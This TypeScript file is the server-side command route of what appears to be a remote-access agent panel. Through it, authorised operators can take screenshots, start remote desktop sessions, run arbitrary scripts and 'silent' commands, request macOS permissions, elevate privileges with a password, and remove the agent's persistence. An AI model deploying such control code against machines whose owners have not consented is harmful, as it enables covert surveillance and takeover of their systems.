import { v4 as uuidv4 } from "uuid"; import { authenticateRequest } from "../../auth"; import { AuditAction, logAudit } from "../../auditLog"; import * as clientManager from "../../clientManager"; import { deleteClientRow, upsertClientRow } from "../../db"; import { metrics } from "../../metrics"; import { encodeMessage } from "../../protocol"; import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac"; import { clearThumbnail } from "../../thumbnails"; import type { ClientInfo } from "../../types"; import { sendPingRequest } from "../../wsHandlers"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; }; type PendingScript = { resolve: (result: any) => void; reject: (error: any) => void; timeout: NodeJS.Timeout; clientId: string; }; type PendingCommandReply = { resolve: (result: { ok: boolean; message?: string }) => void; reject: (error: Error) => void; timeout: NodeJS.Timeout; clientId: string; }; type ClientCommandDeps = { CORS_HEADERS: Record; pendingScripts: Map; pendingCommandReplies: Map; }; function clampPositiveInt(value: unknown, fallback: number, max: number): number { const parsed = Number(value); if (!Number.isFinite(parsed) || parsed <= 0) return fallback; return Math.min(max, Math.max(1, Math.floor(parsed))); } export function dispatchPingBulk(target: ClientInfo, countValue: unknown): number { const count = clampPositiveInt(countValue, 1, 1000); for (let i = 0; i < count; i++) { sendPingRequest(target, target.ws, "manual-bulk", 0); } return count; } export async function handleClientCommandRoute( req: Request, url: URL, server: RequestIpProvider, deps: ClientCommandDeps, ): Promise { if (req.method !== "POST") return null; const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/); if (!cmdMatch) return null; const user = await authenticateRequest(req); if (!user) return new Response("Unauthorized", { status: 401 }); try { requirePermission(user, "clients:control"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); } const targetId = cmdMatch[1]; try { requireClientAccess(user, targetId); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); } const target = clientManager.getClient(targetId); const ip = server.requestIP(req)?.address || "unknown"; if (!target) return new Response("Not found", { status: 404 }); try { const body = await req.json(); const action = body?.action; let success = true; if (action === "ping") { sendPingRequest(target, target.ws, "manual", 0); metrics.recordCommand("ping"); } else if (action === "ping_bulk") { const count = dispatchPingBulk(target, body?.count); metrics.recordCommand("ping_bulk"); logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: `ping_bulk:${count}`, success: true }); return Response.json({ ok: true, sent: count }, { headers: deps.CORS_HEADERS }); } else if (action === "disconnect") { try { requirePermission(user, "clients:disconnect"); requireFeatureAccess(user, "disconnect"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); } target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() })); metrics.recordCommand("disconnect"); logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.DISCONNECT, targetClientId: targetId, success: true }); } else if (action === "reconnect") { try { requirePermission(user, "clients:reconnect"); requireFeatureAccess(user, "reconnect"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); } target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() })); metrics.recordCommand("reconnect"); logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.RECONNECT, targetClientId: targetId, success: true }); } else if (action === "screenshot") { target.ws.send(encodeMessage({ type: "command", commandType: "screenshot", id: uuidv4(), payload: { mode: "notification", allDisplays: true } })); metrics.recordCommand("screenshot"); logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SCREENSHOT, targetClientId: targetId, success: true }); } else if (action === "desktop_start") { target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() })); metrics.recordCommand("desktop_start"); } else if (action === "darwin_request_permissions") { const targetOs = String(target.os || "").toLowerCase(); if (!targetOs.includes("darwin") && !targetOs.includes("mac")) { return Response.json({ ok: false, error: "macOS permission requests are only available for macOS clients" }, { status: 400 }); } const requested = Array.isArray(body?.permissions) ? body.permissions.filter((p: unknown) => typeof p === "string").slice(0, 8) : []; const refreshOnly = body?.refreshOnly === true; const cmdId = uuidv4(); const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => { const timeout = setTimeout(() => { deps.pendingCommandReplies.delete(cmdId); reject(new Error("macOS permission request timed out")); }, 45_000); deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId }); }); target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested, refreshOnly } } as any)); metrics.recordCommand("darwin_request_permissions"); logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "darwin_request_permissions" }); try { const result = await replyPromise; let detail: any = {}; if (result.message) { try { detail = JSON.parse(result.message); } catch { detail = {}; } } if (detail.permissions && typeof detail.permissions === "object" && !Array.isArray(detail.permissions)) { const checkedAt = Date.now(); target.permissions = { ...(target.permissions || {}), ...detail.permissions, }; target.lastSeen = checkedAt; upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: checkedAt, online: target.online ? 1 : 0 }); } return Response.json({ ok: result.ok, permissions: detail.permissions || null, missing: Array.isArray(detail.missing) ? detail.missing : [], message: result.message || "", }, { headers: deps.CORS_HEADERS }); } catch (error: any) { return Response.json({ ok: false, error: error.message || "macOS permission request failed" }, { status: 504 }); } } else if (action === "script_exec") { const scriptContent = body?.script || ""; const scriptType = body?.scriptType || "powershell"; const cmdId = uuidv4(); const resultPromise = new Promise((resolve, reject) => { const timeout = setTimeout(() => { deps.pendingScripts.delete(cmdId); reject(new Error("Script execution timed out after 5 minutes")); }, 5 * 60 * 1000); deps.pendingScripts.set(cmdId, { resolve, reject, timeout, clientId: targetId }); }); target.ws.send(encodeMessage({ type: "command", commandType: "script_exec", id: cmdId, payload: { script: scriptContent, type: scriptType } })); metrics.recordCommand("script_exec"); logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SCRIPT_EXECUTE, targetClientId: targetId, success: true, details: `script_exec (${scriptType})` }); try { const result = await resultPromise; return Response.json(result); } catch (error: any) { return Response.json({ ok: false, error: error.message }, { status: 500 }); } } else if (action === "voice_capabilities") { const cmdId = uuidv4(); const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => { const timeout = setTimeout(() => { deps.pendingCommandReplies.delete(cmdId); reject(new Error("Voice capability probe timed out")); }, 30_000); deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId }); }); target.ws.send(encodeMessage({ type: "command", commandType: "voice_capabilities", id: cmdId })); try { const result = await replyPromise; let caps: any = null; if (result.message) { try { caps = JSON.parse(result.message); } catch { caps = null; } } return Response.json({ ok: result.ok, capabilities: caps, response: result.message || "" }, { headers: deps.CORS_HEADERS }); } catch (error: any) { return Response.json({ ok: false, error: error.message || "Voice capability probe failed" }, { status: 504 }); } } else if (action === "silent_exec") { try { requirePermission(user, "clients:silent-exec"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); } const command = typeof body?.command === "string" ? body.command.trim() : ""; const args = typeof body?.args === "string" ? body.args : ""; const cwd = typeof body?.cwd === "string" ? body.cwd : ""; if (!command) return new Response("Bad request", { status: 400 }); const cmdId = uuidv4(); target.ws.send(encodeMessage({ type: "command", commandType: "silent_exec", id: cmdId, payload: { command, args, cwd } })); metrics.recordCommand("silent_exec"); logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SILENT_EXECUTE, targetClientId: targetId, success: true, details: JSON.stringify({ command, args, cwd }) }); } else if (action === "uninstall") { try { requirePermission(user, "clients:uninstall"); requireFeatureAccess(user, "uninstall"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); } target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() })); metrics.recordCommand("uninstall"); clientManager.deleteClient(targetId); deleteClientRow(targetId); clearThumbnail(targetId); logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.UNINSTALL, targetClientId: targetId, details: "Agent uninstall requested - persistence will be removed", success: true }); } else if (action === "elevate") { try { requirePermission(user, "clients:elevate"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); } const password = typeof body?.password === "string" ? body.password : ""; const cmdId = uuidv4(); const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => { const timeout = setTimeout(() => { deps.pendingCommandReplies.delete(cmdId); reject(new Error("Elevation timed out")); }, 30_000); deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId }); }); target.ws.send(encodeMessage({ type: "command", commandType: "elevate", id: cmdId, payload: { password } })); metrics.recordCommand("elevate"); logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "elevate" }); try { const result = await replyPromise; return Response.json({ ok: result.ok, message: result.message || "" }, { headers: deps.CORS_HEADERS }); } catch (error: any) { return Response.json({ ok: false, error: error.message || "Elevation failed" }, { status: 504 }); } } else { success = false; return new Response("Bad request", { status: 400 }); } logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: action, success }); return Response.json({ ok: true }); } catch (error) { logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: false, errorMessage: String(error) }); return new Response("Bad request", { status: 400 }); } }